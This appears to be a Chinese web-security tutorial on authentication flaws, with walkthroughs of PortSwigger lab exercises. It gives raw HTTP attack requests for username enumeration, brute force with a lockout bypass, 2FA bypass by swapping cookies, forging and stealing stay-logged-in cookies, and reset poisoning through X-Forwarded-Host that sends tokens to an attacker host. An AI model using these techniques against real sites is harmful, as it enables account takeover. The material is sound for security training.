欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:!
知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!
专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,全面汇总相关知识,掌握一类漏洞。让读者能尽快掌握WEB安全知识框架,入门深造。
绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点,导致逻辑凌乱,让读者沉迷在无尽的技巧中而迷失进阶的道路!
欢迎关注订阅专栏!
身份验证是验证请求用户或客户端的身份的过程。确保访问者真的是他自己声称的那个人。身份验证包含三要素,分别是:
身份验证就是用技术手段验证以上一个或多个因素来完成的。
身份验证 | 授权 |
---|---|
验证访问者真是他自己声称的那个人。 | 一个用户被允许能做某事 |
用户A登录应用,验证他是否真是A | 登录后,他权限是什么,能做什么操作 |
概括来讲,身份验证漏洞产生的原因可以被归纳为两大类
暴力攻击一般使用相关软件(如Burp)逐一遍历搭配用户名和密码的字典进行自动化访问爆破的过程,根据响应结果来找出正确的用户名和密码。
字典,并不是单纯的随机搭配生成的。更多的是根据目标用户的相关信息(如生日、身份证号、姓名、手机号、车牌号、爱人生日、一千个最常用密码等)组合而来的,如设置的密码也遵循这个原则,则暴力破解的成功率会非常高。
用户名暴力破解
用户名相对来说比较容易猜测,
用户名枚举
很多应用对已在使用的用户名会有特殊显示,如找到这种区别,则可以大量识别出哪些用户名已经存在,则爆破就局限在密码上,简单很多。
密码暴力破解
一般密码设置都有最基本的要求
但是一般用户选用密码都有其规律
只要百度搜下密码本或最常用的1000个密码,会有一大堆字典能使用。
另外网上也有免费的根据你提供信息自动生成的密码本(在线社工密码生成)
例题 1,2,3
大多数情况下,网站登陆页面是有暴力破解防护措施的,主要有如下两点:
以上两种限制措施结合起来使用,的确能抵御大量爆破攻击。但是仍不完善,如下场景就可轻易破解该防御。
攻击者先尝试测试出登陆失败的限制次数,正常注册一个账户。在暴力破解字典中周期性(≤失败限制次数)插入正常账户的账号密码。这样爆破时,在低速发送登陆请求时,周期性的登陆正常账户,也能成功绕过爆破防护的。
例题4
另,第一种方式是利用限制本身来判断账户是否存在,比如多次爆破后,发现账户提示被锁定,则可认定该账户存在
例题5 例题6
多因素身份验证的好处只有通过验证多个不同的因素才能实现。用两种不同的方式验证同一因素并不是真正的双因素身份验证。
绕过双因素验证
如果验证时是先输入账户密码,跳转到另一个页面进项验证码验证。则可以尝试账户密码验证成功跳转后是否已经是登陆状态,若是这样,不再进行验证码验证。
例题7
双因素验证逻辑缺陷
同上有些网站设计成分两阶段分别验证密码和验证码,验证的数据包如下,请留意验证密码后设置的cookie
第一次账号密码发送和验证
POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=carlos&password=qwerty
HTTP/1.1 200 OK
Set-Cookie: account=carlos
第二次发送cookie,验证返回验证码
GET /login-steps/second HTTP/1.1
Cookie: account=carlos
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456
逻辑是给你的验证码,完全依赖设置的cookie。若攻击者知道目标用户密码后,可尝试在完成密码验证后,更改cookie,提交申请验证码
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456
例题8、9
功能点往往是Remember me
Keep me logged in
保持登陆状态
的打勾选项框。实现的方法是,使用特殊的cookie,在一段时间内保存在服务器和浏览器端,有这个cookie,可以绕过整个登陆环节。这个cookie应该为不可预测且加盐加密的。但实际情况往往有例外:
攻击者可以事先申请账号,研究整个流程和cookie
例10 、11
http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8
系统收到此链接后,首先验证,参数是否存在后端服务器,通过后,销毁此条后端记录,并提供密码修改页面
试想以上两点,尤其是第二点有众多要求,有一点网站没有做到,我们就可尝试进行攻击。
例题12、13、14
目标
利用靶场提供的字典,枚举出有效用户名,并暴力破解其密码登陆
解题思路
Invalid username
,由此提示,可以尝试用户名枚举抓取登陆页面数据包
POST /login HTTP/1.1
Host: ac941f181f8a1ac2c0f39a88000e00b2.web-security-academy.net
Cookie: session=3siZ3fN7N4ztmocux0iYVAMxxtYvdOKw
username=albuquerque&password=456
将靶场提供的字典粘贴进去,在响应包中设置抓取Invalid username
完成上述设置,开始攻击,结果显示只有一个用户名没有这个字段,证明该用户名已使用。albuquerque
开始包括,筛选长度异常的响应包,因为响应长度不同,证明页面不同,表面登陆进去了。密码robert
登陆成功
目标
利用靶场提供的字典,枚举出有效用户名,并暴力破解其密码登陆
解题思路
与上一题雷同,只说不同点
无效的用户名为Invalid username or password.
有效的用户名为Invalid username or password
仅仅差一个.
做安全要细心呢
302
其余为200
目标
利用靶场提供的字典,枚举出有效用户名,并暴力破解其账户登陆。测试账号wiener:peter
解题思路
目标
利用靶场提供的字典,暴力破解其密码登陆。测试账号wiener:peter,目标用户carlos
解题思路
用户字典
wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
wiener
.... 两次carlos后一次wiener
密码字典
eter
123456
password
peter
12345678
qwerty
peter
123456789
12345
peter
1234
111111
peter
.....
最终找到正确密钥
目标
利用靶场自动锁定登陆失败次数过多账户的防护逻辑,枚举出有效用户名,并暴力破解其账户登陆。
解题思路
目标
利用靶场防护逻辑缺陷,暴力破解carlos账户密码登陆。
解题思路
POST /login HTTP/1.1
Host: ac341fa61f430c29c0ec4978002f004a.web-security-academy.net
Cookie: session=3osKtL6vB19bIwK6pa1T5KzIyO31UQBv
Connection: close
{"username":"carlos","password":"123","":""}
....
{"username":"carlos","password":["123","password","qwerty",...]}
目标
登陆时双因素验证(2FA),登陆账户carlos
测试账户:wiener:peter
目标账户:carlos:montoya
解题思路
此题非常简单,再输入账号密码好,跳转至验证码输入界面。此时若回到主页(可直接修改URL),再查看状态,其实已经是登录状态。双因素验证被简单绕过。
目标
登陆时双因素验证(2FA),登陆账户carlos
测试账户:wiener:peter
目标账户:carlos
解题思路
此题逻辑细节需注意
GET
时更换cookie为carlos 目的是让carlos在服务器端产生可使用的验证码GET /login2 HTTP/1.1
Host: ac3e1fc41e2e0e17c006305e004e007c.web-security-academy.net
Cookie: session=U4pqw5gXBvsGu3RZeBMHa0wG0rFlDM5V; verify=carlos
POST
数据包放到Burp爆破模块,爆破。根据之前测试了解,验证码为四位数字。POST /login2 HTTP/1.1
Host: ac3e1fc41e2e0e17c006305e004e007c.web-security-academy.net
Cookie: session=dTL5aKh6zd29oiotG2heavcLardrFv6l; verify=carlos
mfa-code=§1234§
目标
登陆时双因素验证(2FA),登陆账户carlos
目标账户:carlos:montoya
对验证码有爆破防护,一旦有错,需重新登录用户名和密码
解题思路
暂略
目标
网站提供登陆状态保持功能,破解账户carlos的cookie,登陆其账户
测试账号:wiener:peter
目标账户:carlos
解题思路
HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=flB85ih0RP2hJArjjUHFj4qCU4cLijXm; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 0
stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
wiener:51dc30ddc473d43a6011e9ebba6ca770
wiener:peter
所以cookie生成方式为
stay-logged-in=base64(用户名:MD5(密码))
GET /my-account HTTP/1.1
Host: aca21f781f688dd7c00759680081002a.web-security-academy.net
Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://aca21f781f688dd7c00759680081002a.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
目标
本靶场cookie为hash密码生成,本网站存在XSS。登陆目标用户carlos的账户,删除其账户页。
测试账户:wiener:peter
解题思路
"GET /secret=W7MFKCT2S04dxoPstmCEMKNpJSA5wP1p;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1"
目标
重置目标账户carlos的密码,并登录其用户页
测试账户:wiener:peter
解题思路
用测试账号测试密码重置功能点,发现他的最后一步根本就没验证token与username的对应关系。造成,最后一个重置连接可以重置任何制定账户的密码
POST /forgot-password?temp-forgot-password-token=IyadaAg43KDTwLAKThdvyklSyHButnmV HTTP/1.1
temp-forgot-password-token=IyadaAg43KDTwLAKThdvyklSyHButnmV&username=carlos&new-password-1=123&new-password-2=123
目标
使用密码重置毒化,登陆目标账户carlos
测试账户:wiener:peter
解题思路
X-Forwarded-Host
,可以影响产生的重置密码连接,导致连接指向任意地址。POST /forgot-password HTTP/1.1
Host: ac031f4e1fa76d12c004df51002a00d6.web-security-academy.net
X-Forwarded-Host: exploit-acd31f551fee6d3ac0cadffc012c0082.web-security-academy.net
username=carlos
攻击机或者访问日志,带出token
"GET /forgot-password?temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s HTTP/1.1"
更新最后一步数据包,即可重置carlos密码
POST /forgot-password?temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s HTTP/1.1
temp-forgot-password-token=KKZlLNQnume54YfOpiSm6HbCmQIVDn5s&new-password-1=123&new-password-2=123
目标
暴力破解carlos的密码,并登录其用户页
测试账户:wiener:peter
解题思路
提示:Current password is incorrect.
原账户同时被锁定。
提示:New passwords do not match.
原账户不会锁定。